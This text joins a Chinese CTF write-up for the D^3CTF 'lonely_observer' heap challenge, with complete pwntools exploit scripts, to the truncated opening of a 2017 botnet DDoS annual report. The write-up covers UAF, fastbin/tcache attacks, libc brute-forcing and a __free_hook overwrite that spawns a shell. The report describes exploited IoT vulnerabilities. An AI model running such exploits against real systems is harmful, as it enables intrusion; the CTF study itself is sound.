p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080d9060) # @ .data
p += pack('<I', 0x0806e9f2) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', 0x080d9060) # padding without overwrite ebx
p += pack('<I', 0x0806e9cb) # pop edx ; ret
p += pack('<I', 0x080d9068) # @ .data + 8
p += pack('<I', p_eax) #pop eax 11
p += p32(11)
p += pack('<I', 0x080495a3) # int 0x80
pay32=p
padding='a'*0x110
pay = padding
pay+= p32(0x8099bbe) # ret 0x10c
pay+= p32(0x0806e9cb) # pop edx;ret
pay+= pay64
pay+= 'a'*(0x10c-len(pay64))
pay+= pay32
s(pay)
irt()
## D^3CTF lonely_observer
这题比上一题要难得多，主要有两个原因：一是从栈溢出升级到堆溢出；二是从静态编译程序到动态链接程序，需要用到libc。其中第二点是考察的难点。
因为两个程序的功能相同，所以只分析一个程序就能掌握逻辑。按照习惯，我还是先攻击64位程序。
漏洞点
__int64 dele()
{
int v1; // [rsp+Ch] [rbp-4h]
puts("index?");
puts(">>");
v1 = getint();
if ( list[v1] )
{
free(*(void **)(list[v1] + 8));
......
程序提供add、dele、show、edit各种接口，应有尽有，在dele函数存在UAF漏洞。入门堆题，但加上拟态防御后，问题变得复杂起来了。
因为64位和32位程序的libc不可能相同，所以不能直接泄露libc地址。看官方writeup后知道可以通过read_n函数的逐字节输入的特性，利用任意地址写，逐字节爆破出用函数地址伪造的size，间接得到libc。而两个程序libc的不同肯定会导致逐字节输入的次数不同，出题人很友善地在getint函数里使用了scanf和getchar提供两次输入时间差的输入缓冲。也即在一个程序提前爆破出size后，将接下来的输入放入缓冲区中，等待另一个程序爆破完成，保持同步。
64位逐字节爆破libc
任意地址写
很简单，释放两个chunk后，partial write改fd最后一个字节，fastbin
attack分配到第一个chunk，从而可以改写list[0].size和list[0].ptr。
stderr64 = 0x602040
stderr32 = 0x804B020
lst64 = 0x602060
lst32 = 0x804B060
useless_32 = 0x804B124
useless_64 = 0x6021e0
add(0,1,'a')
add(1,1,'a')
add(2,1,'a')
free(0)
free(1)
edit(1,'x00')#partial write
add(3,0x10,p64(0x1000)+p64(lst64+0x20))#size+ptr 64
将其指向bss段上的list数组，实现任意地址写。
爆破libc
控制了list数组后，就可以将size的位置设置为bss段上保留的stderr函数指针中某一个字节，将高位清零后，将&size+8偏移的位置写上一个可写的地址用来接收一个个的字节。
大致payload如下：
pay = 'a'*0x20#padding
pay+= p64(stderr64-i+4)+p64(0x6020b0)+p64(0xf)+p64(stderr64-i+4+1)+'n'
sl(4)
sla('index?',0)
sa('content:',pay)
edit(index1,'x00'*7+p64(useless_64))#9
sla('>>',4)
sla('index?',index2)#8
ru('content:')
这里先保留index1和index2，然后根据64位payload，可以发现这里需要在list数组上占用0x20个字节，那么32位的payload估计需要0x10个字节，还需要考虑list数组上原有的chunk最好不要动，所以总共要占用0x50个字节。因此在调试64位程序时，可以先将paylaod写在list+0x30的位置，后面可能需要调整。然后为了提高容错率和整体结构的美观，给32位的payload预留0x20个字节，最终设置index1=9，index2=8。
布置好指针后开始爆破size。
for j in range(0xff):
s('a')
if 'done!' in ctx.recvrepeat(0.1):
libc64 |= (j+1)
libc64<<=8
print(hex(libc64))
sl('a'*(0x100-j))#为了实现同步
break
一个字节一个字节的输入，直到输入的字节数等于size后，循环就会停止，输出done！
sl(‘a’*(0x100-j))这步很关键，当一个程序退出循环后来到scanf，但同时另一个程序可能还没有完成爆破，仍然在read_n函数中循环读入数据。如果此时就开始下一轮的爆破，就会产生不一样的输出，导致check
down，栽到拟态防御下。所以，必须要利用scanf将多余的数据放入缓冲区中，等待另一个程序爆破完成输出done!来到新一轮爆破的相同的起跑线。
得到libc后，接下去的工作与上面的就类似了，同样利用任意写覆盖 _free_hook就好了，这里不赘述。
32位程序在64位payload逐字节爆破libc
任意地址写
这个时候就需要在已写好的64位payload的基础上进行修改，来保证32位的payload不影响64位的攻击。首先看看此时64位的攻击在32位程序中会形成什么效果。
在fastbin attack形成任意地址后，fastbin上还残留一个chunk0，此时只需要再free一个chunk，再用一次fastbin
attack就能将分配到chunk0，达到任意地址写，并且刚好能达到与64位程序一致，即通过edit(0)来控制list数组。使得两种情况的任意写操作上是相同的。
另外还要注意不能干扰64位的任意写，如上图此时64位的fastbin是被破坏的，如果free了一个chunk后malloc两次会报错，所以在free了chunk2后，需要将其fd写为0，恢复fastbin链表。
因此在64位fastbin attack后面加上32位的fastbin attack的攻击代码如下：
free(2)
edit(2,'x00')
add(6,8,p32(0x1000)+p32(lst32+0x20))
64位payload爆破libc
首先会进入64位程序爆破libc的循环，因此32位程序要保证在这个过程中不会影响到64位程序的正常攻击。同时还要确保在32位程序里这段攻击过程不会使得程序崩溃，虽然不要求这过程对32位程序有意义，但要求其操作有效。
这个时候补充32位的payload时尽量不要改动64为payload的操作和索引值，除非不可能达到一致性，否则就想办法在64位payload的填充字节中补充。
首先回顾一下64位payload进行什么操作：先通过edit(0)往list上布置payload，然后edit(9,0xf)，最后edit(8,1)。具体什么操作在32位程序中不需要关心，只需要关心调用edit函数、索引值和输入的长度。那么就需要在list[9]布置好size=0xf,ptr为一个可写地址，在list[8]布置size至少为1,ptr为一个可写地址。
幸好之前给32位的payload预留了0x20个字节，足够布置以上的数据。这时就将那段padding换成32位payload。
pay = p32(lst32+0x30) + p32(lst32+0x28) + p32(0xf) + p32(useless_32)
pay+= p32(1) + p32(useless_32)
pay = pay.ljust(0x20,'x00')
pay+= p64(stderr64-i+4)+p64(0x6020b0)+p64(0xf)+p64(stderr64-i+4+1)+'n'
sl(4)
sla('index?',0)
sa('content:',pay)
如此可以形成对索引值同样为8(9)的chunk进行edit时，找到偏移不同的指针，从而保证操作有效，并且还能使得64位程序攻击成功。这里是我认为拟态防御题最为巧妙、最有趣的地方。
32位逐字节爆破libc
这里的操作跟64位的循环爆破类似，只需要将64位payload的操作换成无意义的，将32位payload操作换成爆破stderr函数指针即可。这时32位程序翻身当主人，64位payload只能听从安排。
#32-libc
libc32 = 0xf700
for i in range(2):
pay = p32(stderr32-i+2) + p32(lst32+0x28) + p32(0x7) + p32(stderr32-i+2+1)
pay = pay.ljust(0x20,'x00')
pay+= p64(0x6020c0)+p64(0x6020b0)+p64(0x7)+p64(useless_64)
pay+= p64(1)+p64(useless_64)+'n'
sl(4)
sla('index?',0)
sa('content:',pay)
edit(9,'x00'*3+p32(useless_32))
sla('>>',4)
sla('index?',8)
ru('content:')
for j in range(0xff):
s('a')
if 'done!' in ctx.recvrepeat(0.1):
libc32 |= (j+1)
libc32<<=8
print(hex(libc32))
sl('a'*(0x100-j))
break
到此64位libc和32位libc都泄露出来了，如果能理解上述通过精心构造payload，绕过拟态防御机制实现任意写，那么接下去的改写free_hook的操作就更简单了，用到的方法几乎相同。
写_ _free_hook为system
之前爆破libc需要分别构造两种情况的payload来攻击，任意写_
free_hook可以简化一下payload，使得分别edit(8)和edit(9)时篡改32位的 free_hook和64位的 _free_hook。
sl(4)
sla('>>',0)
pay = p32(lst32+0x28) + p32(lst32+0x30) + p32(0x4) + p32(fh32)
pay+= p32(8)+p32(useless_32)
pay = pay.ljust(0x20,'x00')
pay+= p64(0x6020b0)+p64(0x6020c0)+p64(0x4)+p64(useless_64)
pay+= p64(8)+p64(fh64)+'n'
s(pay)
edit(8,p32(sys32))
edit(9,p64(sys64))
在edit(8)时，32位程序改写4字节_
free_hook，64位程序往useless_64写4字节无意义的数据；而在edit(9)时，32位程序往useless_32写8字节无意义的数据，64位程序改写8字节
_free_hook。注意要将写入的数据长度保持一致。
然后用同样的方法布置/bin/sh即可。
前面的调试工作都是在单独测试32位或64位程序中进行的，即使能分别getshell也不代表最终的getshell，因为这过程无法测试出输出是否相同。还需要用给的lonely_observer服务端程序对两个程序同时测试，如果程序崩溃说明存在输出的信息不同，原因可能是两个服务不同步（如缺少sl(‘a’*(0x100-j))）
exp
#-*- coding:utf-8 -*- from PwnContext import *
# functions for quick script
s = lambda data :ctx.send(str(data))
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
debugg = 1
logg = 0
v = 2
if v==1:
ctx.binary = './mimic64'
elif v==0:
ctx.binary = './mimic32'
else:
ctx.binary = './lonely_observer'
ctx.symbols = {'lst32':0x804B060,'lst64':0x602060}
ctx.breakpoints = [0x8048845]
lib64 = ELF('../libc-2.23.so',checksec=False)
lib32 = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
if debugg:
rs()
else:
ctx.remote = ('node3.buuoj.cn', 29360)
rs('remote')
if logg:
context.log_level='debug'
def add(idx,sz,c):
sla('>>',1)
sla('>>',idx)
sla('>>',sz)
sa('content:',c)
def free(idx):
sla('>>',2)
sla('>>',idx)
def edit(idx,c):
sla('>>',4)
sla('>>',idx)
sa('content:',c)
def show(idx):
sla('>>',3)
sla('>>',idx)
stderr64 = 0x602040
stderr32 = 0x804B020
lst64 = 0x602060
lst32 = 0x804B060
useless_32 = 0x804B124
useless_64 = 0x6021e0
add(0,1,'a')
add(1,1,'a')
add(2,1,'a')
free(0)
free(1)
edit(1,'x00')
add(3,0x10,p64(0x1000)+p64(lst64+0x20))#size ptr 64
free(2)
edit(2,'x00')
add(6,8,p32(0x1000)+p32(lst32+0x20))
#64-libc
libc64 = 0x7f00
for i in range(4):
pay = p32(lst32+0x30) + p32(lst32+0x28) + p32(0xf) + p32(useless_32)
pay+= p32(1) + p32(useless_32)
pay = pay.ljust(0x20,'x00')
pay+= p64(stderr64-i+4)+p64(0x6020b0)+p64(0xf)+p64(stderr64-i+4+1)+'n'
sl(4)
sla('index?',0)
sa('content:',pay)
edit(9,'x00'*7+p64(useless_64))
sla('>>',4)
sla('index?',8)
ru('content:')
for j in range(0xff):
s('a')
if 'done!' in ctx.recvrepeat(0.1):
libc64 |= (j+1)
libc64<<=8
print(hex(libc64))
sl('a'*(0x100-j))
break
libc64|=0x40
libc64-=0x3c5540
success(hex(libc64))
fh64 = lib64.sym['__free_hook']+libc64
sys64 = lib64.sym['system']+libc64
#32-libc
libc32 = 0xf700
for i in range(2):
pay = p32(stderr32-i+2) + p32(lst32+0x28) + p32(0x7) + p32(stderr32-i+2+1)
pay = pay.ljust(0x20,'x00')
pay+= p64(0x6020c0)+p64(0x6020b0)+p64(0x7)+p64(useless_64)
pay+= p64(1)+p64(useless_64)+'n'
sl(4)
sla('index?',0)
sa('content:',pay)
edit(9,'x00'*3+p32(useless_32))
sla('>>',4)
sla('index?',8)
ru('content:')
for j in range(0xff):
s('a')
if 'done!' in ctx.recvrepeat(0.1):
libc32 |= (j+1)
libc32<<=8
print(hex(libc32))
sl('a'*(0x100-j))
break
libc32|=0xc0
libc32-=0x1b2cc0
success(hex(libc32))
fh32 = lib32.sym['__free_hook']+libc32
sys32 = lib32.sym['system']+libc32
sl(4)
sla('>>',0)
pay = p32(lst32+0x28) + p32(lst32+0x30) + p32(0x4) + p32(fh32)
pay+= p32(8)+p32(useless_32)
pay = pay.ljust(0x20,'x00')
pay+= p64(0x6020b0)+p64(0x6020c0)+p64(0x4)+p64(useless_64)
pay+= p64(8)+p64(fh64)+'n'
s(pay)
edit(8,p32(sys32))
edit(9,p64(sys64))
sl(4)
sla('>>',0)
pay = p32(lst32+0x28) + 'a'*4 + p32(0x4) + p32(lst32+0x30)
pay+= '/bin/shx00'
pay = pay.ljust(0x20,'x00')
pay+= p64(0x6020b0)+'a'*8+p64(0x4)+p64(0x6020c0)
pay+= '/bin/shx00'+'n'
s(pay)
free(8)
irt()
## D^3CTF lonely_observer (libc-2.27版本)
如果将服务运行在libc-2.27的环境中，一开始我还想将fastbin attack改为tcache
attack直接攻击bss段来简化exp，可是调试发现因为两个程序的bss段不同，直接改fd会导致分配不过去从而导致程序崩溃，还是要老老实实地先改写heap上的ptr来任意写。
exp
#-*- coding:utf-8 -*- from PwnContext import *
# functions for quick script
s = lambda data :ctx.send(str(data))
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
debugg = 1
logg = 0
v = 2
if v==1:
ctx.binary = './mimic64'
ctx.breakpoints = [0x400A8E]
elif v==0:
ctx.binary = './mimic32'
ctx.breakpoints = [0x8048845]
else:
ctx.binary = './lonely_observer'
ctx.symbols = {'lst32':0x804B060,'lst64':0x602060}
lib64 = ELF('./libc-2.27.so')
lib32 = ELF('/lib/i386-linux-gnu/libc-2.27.so')
if debugg:
rs()
else:
ctx.remote = ('node3.buuoj.cn', 29189)
rs('remote')
if logg:
context.log_level='debug'
def add(idx,sz,c):
sla('>>',1)
sla('>>',idx)
sla('>>',sz)
sa('content:',c)
def free(idx):
sla('>>',2)
sla('>>',idx)
def edit(idx,c):
sla('>>',4)
sla('>>',idx)
sa('content:',c)
def show(idx):
sla('>>',3)
sla('>>',idx)
stderr64 = 0x602040
stderr32 = 0x804B020
lst64 = 0x602060
lst32 = 0x804B060
useless_32 = 0x804B124
useless_64 = 0x6021e0
add(0,1,'a')
add(1,1,'a')
add(2,1,'a')
#tcache attack
free(0)
free(1)
edit(1,'x60')#0
add(3,0x10,p64(0x1000)+p64(lst64+0x20))#size ptr 64
free(1)
free(2)
edit(2,'x60')#0
add(6,0x8,p32(0x1000)+p32(lst32+0x20))
#64-libc
libc64 = 0x7f00
for i in range(4):
pay = p32(lst32+0x30) + p32(lst32+0x28) + p32(0xf) + p32(useless_32)
pay+= p32(1) + p32(useless_32)
pay = pay.ljust(0x20,'x00')
pay+= p64(stderr64-i+4)+p64(0x6020b0)+p64(0xf)+p64(stderr64-i+4+1)+'n'
sl(4)
sla('index?',0)
sa('content:',pay)
edit(9,'x00'*7+p64(useless_64))
sla('>>',4)
sla('index?',8)
ru('content:')
for j in range(0x100):
s('a')
if 'done!' in ctx.recvrepeat(0.1):
libc64 |= (j+1)
libc64<<=8
print(hex(libc64))
sl('a'*(0x100-j))
break
if j == 0xff:
print('Bomb error')
exit(-1)
libc64|=0x80
libc64-=0x3ec680
success(hex(libc64))
fh64 = lib64.sym['__free_hook']+libc64
sys64 = lib64.sym['system']+libc64
#32-libc
libc32 = 0xf700
for i in range(2):
pay = p32(stderr32-i+2) + p32(lst32+0x28) + p32(0x7) + p32(stderr32-i+2+1)
pay = pay.ljust(0x20,'x00')
pay+= p64(0x6020c0)+p64(0x6020b0)+p64(0x7)+p64(useless_64)
pay+= p64(1)+p64(useless_64)+'n'
sl(4)
sla('index?',0)
sa('content:',pay)
edit(9,'x00'*3+p32(useless_32))
sla('>>',4)
sla('index?',8)
ru('content:')
for j in range(0x100):
s('a')
if 'done!' in ctx.recvrepeat(0.1):
libc32 |= (j+1)
libc32<<=8
print(hex(libc32))
sl('a'*(0x100-j))
break
if j == 0xff:
print('Bomb error')
exit(-1)
libc32|=0xe0
libc32-=0x1d8ce0
success(hex(libc32))
fh32 = lib32.sym['__free_hook']+libc32
sys32 = lib32.sym['system']+libc32
sl(4)
sla('>>',0)
pay = p32(lst32+0x28) + p32(lst32+0x30) + p32(0x4) + p32(fh32)
pay+= p32(8)+p32(useless_32)
pay = pay.ljust(0x20,'x00')
pay+= p64(0x6020b0)+p64(0x6020c0)+p64(0x4)+p64(useless_64)
pay+= p64(8)+p64(fh64)+'n'
s(pay)
edit(8,p32(sys32))
edit(9,p64(sys64))
sl(4)
sla('>>',0)
pay = p32(lst32+0x28) + 'a'*4 + p32(0x4) + p32(lst32+0x30)
pay+= '/bin/shx00'
pay = pay.ljust(0x20,'x00')
pay+= p64(0x6020b0)+'a'*8+p64(0x4)+p64(0x6020c0)
pay+= '/bin/shx00'+'n'
s(pay)
free(8)
irt()
## 总结
私以为拟态防御将“求同存异”的思想运用到了网络安全建设中，秒哉！而在攻击时可以参考一个总思路——相同的操作，不同的偏移。就是要充分发挥64位环境和32位环境字长的差异，在构造payload的时候，利用偏移到不同的地址，构造两次相似的攻击过程，同时每次的攻击过程在另一种环境下是徒劳的，但不能无效。 | 社区文章 |
作者：[安天捕风小组&电信云堤](http://www.antiy.cn/research/notice&report/research_report/20180110.html
"安天捕风小组&电信云堤")
#### 1 概述
本报告由安天捕风小组与电信云堤联合发布，本年度报告主要以安天捕风蜜网和电信云堤流量监测数据为基础，针对2017年发生的僵尸网络DDoS（分布式拒绝服务）攻击事件进行汇总分析。报告给出了2017年全球范围内僵尸网络发起DDoS攻击的事件分布、地区分布情况以及攻击情报数据，并对黑客的攻击方法、攻击资源、僵尸网络家族进行了详细分析。
从整体的攻击情报数据来看，全球DDoS僵尸网络全年攻击态势呈“山”形，其主要爆发在第二季度的4、5、6三个月；在比特币交易价格暴涨期间，大部分DDoS僵尸网络被更换为挖矿僵尸网络，所以第四季度则处于相对低迷的阶段。
根据全球数据统计，2017年，美国境内发起的DDoS攻击数量是最多的，占全球DDoS攻击总事件的37.06%；而中国则成为了遭受DDoS攻击的重灾区，承受了全球DDoS攻击数量的84.79%（占整个亚洲DDoS攻击量的98.63%）。DDoS攻击我国的事件，37.47%来源于美国，27.77%来源于我国国内，23.28%来源于法国，10.17%来源于韩国。
黑客发起DDoS攻击事件采用的主流僵尸网络家族为Xor（Xor_Ex和Xor_D）家族，黑客通过控制Xor家族僵尸网络发起的DDoS攻击占全球DDoS攻击的51.04%。SYN
flood为目前黑客使用的主流DDoS攻击方式，Xor、BillGates、Mayday等大型的僵尸网络家族的攻击方式均以SYN
flood为主。物联网僵尸网络爆发式增长是2017年的一个趋势，由于Mirai[2]开源导致众多IoT变种出现，同时传统的Windows、Linux僵尸网络家族也向IoT平台进行拓展。
2017年僵尸网络活动的主要表现为：
###### 以Linux僵尸网络为主流
由于Linux服务器所在环境带宽大、长时间在线、安全措施落后，该类僵尸网络具有稳定性且易形成规模化。
###### IoT僵尸网络大发展
开源Mirai导致物联网僵尸网络变种快速增加，同时传统的Windows平台家族僵尸网络发觉IoT的规模和攻击威力后，也快速向IoT平台演进。Jenki、台风等僵尸家族就是典型代表。
###### 具有明显的趋利性
今年以来比特币等电子加密货币快速发展，僵尸网络作为网络犯罪组织的重要工具从DDoS攻击转到挖矿，Linux、IoT僵尸网络成为DDoS攻击、挖矿的主流。
DDoS攻击的受害者主要分布在中国和美国。近年来中国互联网事业飞速发展，数据中心和云服务发展迅速，网络服务需求与日俱增，导致勒索和因同行竞争导致的恶意攻击频繁。
#### 2 DDoS僵尸网络攻击情报
通过对2017年捕获的DDoS攻击情报进行统计分析，可得到全球及国内DDoS攻击情报在这2017年度的分布情况，如下图所示。
图1 2017年全球DDoS僵尸网络发起DDoS攻击态势
图2 2017年国内DDoS僵尸网络DDoS攻击态势
##### 2.1 DDoS僵尸网络DDoS攻击情报全球分布情况
跟据监测情报数据统计分析，
2017年全球各国发起的DDoS攻击分布如下图。其中，C2位于美国境内对各国发起的DDoS攻击数为5800多万，占全球各国发起DDoS攻击总数的37.06%；C2位于中国境内对各国发起的DDoS攻击占总比的34.19%；C2位于法国境内对各国发起的DDoS攻击占比19.10%。
图3 DDoS僵尸网络发起攻击的全球分布比例
##### 2.2 DDoS僵尸网络发起DDoS攻击全国分布情报
对国内各地区发起的DDoS攻击情报进行分析，可得如下图所示的各省份DDoS（间歇性）攻击量分布情况。其中，江西省内发起的DDoS攻击量为1600多万，在全国占比最高，为30.40%；香港特别行政区内发起的DDoS攻击量为1300多万，在全国占比中位列第二，为26.07%；广东省内发起的DDoS攻击量为1200多万，在全国占比中中位列第三，为23.12%。
图4 DDoS僵尸网络发起攻击的国内分布统计
#### 3 DDoS攻击带宽流量情报信息
对2017年1月到12月份国际、互联互通、电信来自三方的攻击总带宽流量进行统计分析可得，国际和互联互通发起的TB带宽流量均稳定在10000左右；而通过电信发起的TB带宽流量在前半年一直处于上升趋势，5月份时出现了峰值，达到56397.336TB，而后半年的带宽流量开始下降并趋于平稳。攻击带宽流量数据与攻击情报数据的“山”形趋势吻合。
图5 DDoS攻击带宽总流量统计
据数据统计分析，2017年DDoS攻击持续时间多数少于30分钟，占每个月攻击的70%左右。
图6 DDoS攻击带宽流量持续时间分布统计
12个月中，当月单个攻击目标被DDoS攻击的流量峰值排名前三的分别是在5月份、3月份和4月份。5月份的攻击目标单次攻击峰值最大为1393.66
Gbps，3月份的攻击目标单次攻击峰值最大为953.78 Gbps，4月份的攻击目标单次攻击峰值最大为798.00
Gbps。分段攻击峰值在每个月中占比情况如下图，其中攻击峰值普遍集中于50G以内。
图7 DDoS攻击峰值段在每月的分布统计
攻击带宽流量Top
10的省份在每月攻击总带宽流量中的占比情况如下图。数据显示，在12个月中，浙江的攻击带宽流量在每个月的攻击带宽流量中都占据了较大的比例，福建和湖北在后半年的攻击带宽流量中有大幅度提升。
图8 DDoS攻击Top 10地区每月攻击带宽流量分布统计
#### 4 DDoS僵尸网络C2情报信息
##### 4.1 DDoS僵尸网络C2攻击情报
###### 4.1.1 DDoS僵尸网络C2分布
对2017年所捕获的DDoS攻击C2信息进行追溯并分析，发起DDoS攻击的C2在全球范围内的分布情况如下。其中位于中国的C2最多，为14744个，占比全球C2分布的58.36%；其次是美国，占比全球C2分布的24.98%；排在第三位的是韩国，位于韩国的C2有1039个，占比全球C2分布的4.11%。
图9 DDoS僵尸网络C2全球的分布情报统计
对每一个C2进行攻击目标的溯源统计，并按照C2所在国家进行划分，得出以下统计数据如下图所示。可以看到，各国C2产生的攻击事件数由高到低、排名前三的分别是法国（729343个）、美国（231916个）和中国（65840个）。
对攻击事件数TOP100的C2进行国家划分，71个C2位于法国，27个C2位于美国，其余2个C2分别位于韩国和瑞士，产生的攻击事件最多的一个C2来自法国，该C2存活时间为7494.9个小时，攻击事件数量达到19172个。
图10 全球DDoS僵尸网络C2攻击目标统计
对国内C2进行统计，得出以下C2在各省份的分布统计图。其中位于江苏省的C2最多，为3420个，占比国内C2总数的23.20%；其次是位于香港的C2，有2632个，占比国内C2总数的17.85%。
图11 全国DDoS僵尸网络C2各省份的分布统计
对国内的C2进行溯源分析，并按省份划分得出以下各省份C2的攻击事件量统计数据，产生攻击事件个数排前三的省份，由高到低依次为香港（19687个）、广东（18065个）和江西（10750个）
对国内攻击情报TOP100的C2按照省份划分，其中31个C2位于香港，19个C2位于广东，14个C2位于江苏，7个C2位于浙江，6个C2位于福建，6个C2位于江西。产生攻击事件数最多的一个C2位于香港，其产生的攻击事件数为6162个，该C2的存活时间为508.05个小时。
图12 全国DDoS僵尸网络C2攻击事件统计
###### 4.1.2 DDoS僵尸网络C2存活时间
国内C2的存活时间在1000小时以内的占比40%，超过6000小时的接近20%；国外C2的存活时间在1000小时以内的占比80%，超过1000小时的仅占比20%。可见，国内C2的存活时间超过1000小时的数量是国外的3倍之多。
图13 国内DDoS僵尸网络C2存活时间
图14 国外DDoS僵尸网络C2存活时间
##### 4.2 黑客攻击工具
###### 4.2.1 DDoS僵尸网络木马传播布
无论是何种类型的僵尸网络，“肉鸡”都是执行各种攻击的基础，所以拓展“肉鸡”便是黑客要进行的第一步，而常见的“肉鸡”拓展方法主要有以下几种：
1.弱口令爆破。通过常见远程服务端口（例如22、2222、23、2323、1433、3306、3389端口）的自动化弱口令爆破，执行远程命令植入木马。通过安天捕风蜜网捕获的爆破数据统计，上述端口每天的爆破量在300万到500万之间，且每次新一波物联网僵尸网络爆发时，爆破数据都会呈几何式上升，特别是在国外相关的物联网类型僵尸网络上比较常见。
表格 1 扫描端口可疑IP
2.漏洞扫描。通过自动化漏洞利用，执行远程命令拓展“肉鸡”已经是新趋势，这一点在Mirai家族的僵尸网络上已经展示得淋漓尽致。下表为Mirai变种利用的部分漏洞信息及受影响设备情况。
表格 2 Mirai利用的部分漏洞列表
对于导致德国断网的SOAP漏洞，黑客尝试通过对网络时间协议、NTP服务器名称字段执行注入式攻击，在易受攻击的设备中远程执行恶意命令。最终，NTP服务器名称会解析为引发RCE漏洞的命令。恶意代码可以通过TR-069协议插入到NTP服务器名称字段。互联网服务提供商（ISP）可以利用此协议远程管理网络中的设备。遭受攻击的设备可以接收来自互联网的TR-064命令，进而改变NTP设置。TR-064基于HTTP和SOAP，其默认端口为TCP
7547。
Embedthis公司的Web服务器
GoAhead爆出远程代码执行漏洞CVE-2017-8225[3]。当与glibc动态链接器结合使用时，可以利用特殊参数名称，如LD_PRELOAD，就可以实施远程代码执行。攻击者可以在请求的正文中POST其共享对象的有效Payload,
并使用/proc/self/fd/0引用它。GoAhead是一个开源（商业许可）、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web
Server。GoAhead Web
Server是为嵌入式实时操作系统（RTOS）量身定制的Web服务器，支持多种操作系统，包括eCos、Linux、LynxOS、QNX、VxWorks、WinCE、pSOS等。
磊科后门利用是2014年爆出的后门利用方法，目前在捕获的攻击数据中依旧有出现。
据CheckPoint披露，IoTroop恶意利用多种漏洞进行入侵，包括Zyxel（路由器）、Dlink（路由器）、Netgear（路由器）、Linksys（路由器）、Goahead（摄像头）、JAWS（摄像头）、AVTECH（摄像头）、Vacron（NVR）设备的漏洞。
3.捆绑下载暗藏后门。可通过激活工具捆绑木马，魔釉DDoS木马[1]就是利用小马激活工具捆绑来进行大规模传播。在很多非正规的应用网站中，很多“绿色”小应用程序中被黑客绑定了木马，木马会随着小应用程序的扩散使用而不断感染设备拓展“肉鸡”。捆绑传播方式，因为“绿马甲”的身份可以有效地避免杀毒软件的查杀，所以通过这种传播方式形成的僵尸网络，经过时间的积累往往会形成一个庞大的“肉鸡”群。
4.交叉感染。通过已有的僵尸网络传播新木马，实现不同僵尸网络的交叉传播。由于这种方式可以实现快速部署成型的僵尸网络，所以在常见的DDoS僵尸网络中出现得特别频繁。
###### 4.2.2 全球各DDoS家族僵尸网络威胁情报
对2017年捕获的样本进行统计分析得出，捕获到的Gafgyt僵尸网络家族的样本最多，为26083个；其次是Nitol，捕获样本为10667个。如下图所示：
图15 全球各DDoS家族僵尸网络捕获的样本数统计
对全球的DDoS攻击以及黑客控制的僵尸网络家族进行统计分析可知，黑客最为惯用的僵尸网络家族为Xor_Ex家族，其利用Xor_Ex家族发起的DDoS攻击达6500多万次，占使用的所有家族的34.92%；其次是BillGates家族，黑客利用该家族发起的DDoS攻击达3400多万次，占使用的所有家族的21.87%；排名第三的家族是Mayday家族，占使用的所有家族的19.44%。
图16 全球DDoS僵尸网络各家族攻击量的情报统计
对全国DDoS攻击占比排名前6位的僵尸网络家族的攻击行为进行统计分析，可得出以下僵尸网络家族在使用的攻击方式分布情况。
1、Xor家族
Xor家族是全国甚至全球近两年来攻击态势最为活跃的DDoS僵尸网络家族。根据目前掌握的情报显示，操作Xor家族僵尸网络的黑客为了隐藏身份，从2016年下半年开始将大部分僵尸网络C2逐渐向国外转移，而且C2对应的设备基本是通过非法渠道获取远程控制权限进行部署，极大增加了对黑客的溯源难度。
图17 Xor_Ex家族攻击方式分布统计
图18 Xor_D家族攻击方式分布统计
2、BillGates家族
BillGates又名Setag/Ganiw，其活跃度仅次于Xor家族。情报数据显示，BillGates家族的活跃事件主要集中在上半年，且攻击类型主要是SYN
flood；7月中旬后，随着虚拟货币交易价格大幅攀升，大部分BillGates家族的僵尸网络开始转换为挖矿僵尸网络从事挖矿。
图19 BillGates年度攻击情报时间分布
图20 BillGates家族攻击方式分布统计
3、Mayday家族
Mayday家族攻击情报走势与BillGates家族类似，但相较于BillGates家族低迷比较早，且活跃度也明显低于BillGates家族。Mayday家族的主要攻击类型仍为SYN
flood，其次为TCP flood，其他的具备反射型的攻击模式并不多见。
图 21 Mayday年度攻击情报时间分布
图22 Mayday家族攻击方式分布统计
4、Nitol家族
Nitol家族是目前Windows系列中最为活跃的DDoS僵尸网络，而且经过多年的发展变异，现在已经存在10多个不同协议的变种，并且国外有关黑客通过Nitol家族开放的源代码进行升级修改和使用。虽然Nitol家族的僵尸网络工具已经扩散到国外，但是其主要感染设备还是在国内，特别是NSA的“永恒之蓝”漏洞和Structs2系列的漏洞被相继爆出后，开始出现通过自动化漏洞利用工具批量植入各家族恶意代码（Nitol家族包含在内）的事件。在DDoS攻击方面，最新Nitol的改进版本中集成了SYN
flood、TCP flood、DNS flood、C2 flood、UDP flood、HTTP flood、ICMP flood和NTP
flood等8种攻击类型。从2017年Nitol家族系列的攻击威胁情报上看，其主要攻击方式还是倾向于HTTP flood和C2
flood，这点明显区别于其他家族。
图23 Nitol年度威胁情报时间分布
图24 Nitol家族攻击方式分布统计
图25 Nitol家族感染设备系统版本统计
从对Nitol家族系列的僵尸网络监测拓展发现，很多控制Nitol家族系列的僵尸网络同时还控制其它RAT类型的僵尸网络，多个僵尸网络之间通过“交叉感染”方式实现“肉鸡”互通和共享。随机统计Nitol家族的3万“肉鸡”设备类型上看，Nitol家族系列感染的设备系统版本主要为Windows系列的低、中档系统版本，其中主要集中在Win
XP SP3系统版本上（约占79.91%），其次是Win 7 SP1系统版本（约占8.27%）。目前，Win XP
